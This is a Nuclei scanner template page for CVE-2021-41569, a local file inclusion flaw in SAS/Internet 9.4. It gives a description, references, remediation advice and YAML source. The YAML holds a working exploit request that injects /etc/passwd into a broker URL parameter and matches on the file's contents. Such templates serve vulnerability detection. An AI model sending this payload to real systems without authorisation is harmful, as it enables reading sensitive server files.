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Nuclei Templates

SAS/Internet 9.4 1520 - Local File Inclusion

ID: CVE-2021-41569

Severity: high

Author: 0x_Akoko

Tags: cve2021,cve,sas,lfi

Description

Section titled “Description”

SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41569


info:
  name: SAS/Internet 9.4 1520 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
  reference:
    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
    - https://support.sas.com/kb/68/641.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41569
    cwe-id: CWE-829
    epss-score: 0.0083
    epss-percentile: 0.81604
    cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sas
    product: sas\/intrnet
  tags: cve2021,cve,sas,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b5a9404b1c71b5a83296f828203e1d4ac2dd3ed93deeafaec630ae3bbbbed96c0220644f8f5d82529227e6da8dc4b535379c2b4b745fe6329b28ba9b92fe2e7b49d4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41569.yaml"

View on Github